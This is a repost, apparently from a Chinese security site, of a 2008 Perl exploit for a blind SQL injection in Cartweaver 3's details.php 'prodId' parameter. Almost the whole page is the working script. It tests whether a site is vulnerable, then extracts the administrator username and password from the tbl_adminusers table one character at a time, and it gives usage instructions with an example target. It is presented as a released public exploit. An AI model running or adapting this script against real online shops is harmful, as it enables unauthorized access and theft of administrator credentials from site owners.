首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Cartweaver 3 (prodId) Remote Blind SQL Injection Exploit
来源:www.vfcocus.net 作者:h0yt3r 发布时间:2008-06-16  
#!/usr/bin/perl
######################
#
#Cartweaver 3 PHP Blind SQL Injection Substring Vulnerability
#
######################
#
#Bug by: h0yt3r
#
#Dork: n/a (brainusing required)
#
##
###Releasing it to the public
##
#
#No error messages are being returned.
#Exploit need a vaild Product ID!
#
#SQL Injection:
#http://[target]/[path]/details.php?prodId=[SQL]
#
##
#Gr33tz go to:
#b!zZ!t, ramon, thund3r, Free-Hack, Sys-Flaw and of course the neverdying h4ck-y0u Team
#
################
use LWP::UserAgent;
my $userAgent = LWP::UserAgent->new;

usage();

$server = $ARGV[0];
$dir = $ARGV[1];
$prod_id =$ARGV[2];


print"\n";
if (!$dir) { die "Read Usage!\n"; }


$filename ="details.php";

my $vulnCheck = "http://".$server.$dir.$filename;

my @Daten = ("61","62","63","64","65","66","67","68","69","6A","6B","6C","6D","6E","6F","70","71","72","73","74","75","76","77","78","79","7A","3A","5F","31","32","33","34","35","36","37","38","39","30","21","23","2B","28","29","40","2D","F5","25","26","2F","3F");

print"[x]Connecting:";
my $goodSite = $vulnCheck."?prodId=".$prod_id." AND 1=1";
my $badSite = $vulnCheck."?prodId=".$prod_id." AND 1=0";

my $Attack1= $userAgent->get($goodSite);
my $Attack2= $userAgent->get($badSite);
if($Attack1->is_success)
{
    print " Connected \n";
    print "[x]Vulnerable Check: ";
   
    if($Attack2->content =~ m/No product selected./i && $Attack1->content !~ m/No product selected./i)
        { print "Vulnerable! \n"; }
    else
        { print "Not Vulnerable or wrong Product ID"; exit;}
}

else
{
    print " Connection Failed to ".$goodSite."";
    exit;
}


my $hex="";
my $length;

print "[x]Bruteforcing Length \n";

my $lengthCounter = 1;
while(1)
{
    my $url = "".$vulnCheck."?prodId=".$prod_id."%20and%20LENGTH((select%20concat(admin_username,0x3a,admin_password)%20from%20tbl_adminusers%20limit%200,1))=".$lengthCounter."";
    my $Attack= $userAgent->get($url);
    my $content = $Attack->content;
    if($content !~ m/No product selected./i)
        { $length=$lengthCounter; last; }
    else
        { $lengthCounter++; }
}

print "[x]Injecting Black Magic \n";

for($b=1;$b<=$length;$b++)
{
    for(my $u=0;$u<53;$u++)
    {   
       
        my $url = "".$vulnCheck."?prodId=".$prod_id."%20and%20substring((select%20concat(admin_username,0x3a,admin_password)%20from%20tbl_adminusers%20limit%200,1),".$b.",1)%20like%200x".$Daten[$u]."";
        my $Attack= $userAgent->get($url);
        my $content = $Attack->content;           
        if($content !~ m/No product selected./i)
        {           
            print "[x]Found Char ".$Daten[$u]."\n";           
            $hex=$hex.$Daten[$u];
            last;   
        }

    }
}

print "[x]Converting \n";
my $a_str = hex_to_ascii($hex);

@login = split(/\:/, $a_str);

print "[x]Success! \n";
print "     Username: $login[0]\n";
print "     Password: $login[1]";



sub hex_to_ascii ($)
{       
        (my $str = shift) =~ s/([a-fA-F0-9]{2})/chr(hex $1)/eg;
        return $str;
}



sub usage()
{
    print q
    {
    ######################################################
            Cartweaver 3 Remote Blind SQL Injection Exploit   
                          -Written by h0yt3r-               
    Usage: cartweaver.pl [Server] [Path] [Product ID]
    Sample:
    perl Cartweaver.pl www.site.com /cartweaver/ 13
    ######################################################
    };

}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·XChat <= 2.8.7b (URI Handler)
·DIY (index_topic did ) Blind S
·GLLCTS2 <= 4.2.4 (login.php de
·Simple Machines Forum <= 1.1.4
·Clever Copy 3.0 (results.php)
·Alt-N SecurityGateway 1.00-1.0
·muvee autoProducer <= 6.1 (Tex
·JAMM CMS (id) Remote Blind SQL
·Yuhhu 2008 SuperStar (board) R
·Black Ice Software Annotation
·Black Ice Software Annotation
·Achievo <= 1.3.2 (fckeditor) A
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved